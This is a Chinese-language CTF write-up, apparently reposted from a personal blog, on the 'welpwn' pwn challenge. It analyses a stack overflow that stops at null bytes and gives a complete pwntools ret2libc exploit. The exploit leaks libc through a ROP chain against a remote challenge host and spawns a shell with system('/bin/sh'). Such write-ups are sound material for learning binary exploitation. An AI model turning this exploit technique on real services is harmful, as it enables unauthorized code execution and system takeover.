【PWN系列】攻防世界pwn进阶区welpwn分析
程序员文章站
2024-01-20 09:05:40
...
个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
分析
下载文件直接拖入ida分析。开了NX保护,一般就是rop
函数代码也比较简单。read那里也不存溢出。都是0x400。
紧接着调用了echo
函数。
在echo函数中,将大小为0x400的buf中的值复制给大小为0x10的s2,。很明显会造成溢出。唯一的问题就是,如果Buf中含有\x00。会中断循环。
函数运行的整体流程就是,用户输入的字符串会存放到buf中,在echo函数中,将buf复制到s2时造成了溢出。通过循环逐字节复制,如果读取到00字节,则会中断循环。
这会影响我们的rop构造,因为我们寻找的gadgat都会存在00字节
利用
这是64位的程序,传参基本都在寄存器里。所以栈结构大致如下。
因为00截断的原因,所以我们不能直接rop,我们将rop链移到buf中,pop_4_ret的作用就是pop掉buf中的"A"*0x10+"bbbbbbbb"+pop_4_ret
。然后再buf中进行rop。
p64(pop_4_ret)
中是含有00的,如下图,红框中的就是p64(pop_4_ret)
。所以s2实际上是27个字节。
明白这点后,后面就是普通的泄露函数实际地址,找libc基址,构造rop了。
Exploit
from pwn import *
from LibcSearcher import *
context.log_level="debug"
# p = process("./welpwn")
p = remote("220.249.52.133",55728)
elf = ELF("welpwn")
start = elf.symbols['_start']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004008a3
pop_4_ret = 0x000000000040089c
p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(write_got)
payload += p64(puts_plt)
payload += p64(start)
p.sendline(payload)
print "----"+p.recv(1024)
print "----"+p.recv(27)
write = u64(p.recv(6).ljust(8,'\x00'))
log.success("write = "+hex(write))
obj = LibcSearcher("write", write)
write_offset = obj.dump("write")
system_offset = obj.dump("system") #system offset
sh_offset = obj.dump("str_bin_sh") #/bin/sh offset
libc_base = write - write_offset
log.success("libc_base = "+hex(libc_base))
# p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(libc_base + sh_offset)
payload += p64(libc_base + system_offset)
p.sendline(payload)
p.interactive()
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群
上一篇: 怎么 学习 php
下一篇: PWN溢出——整数溢出漏洞分析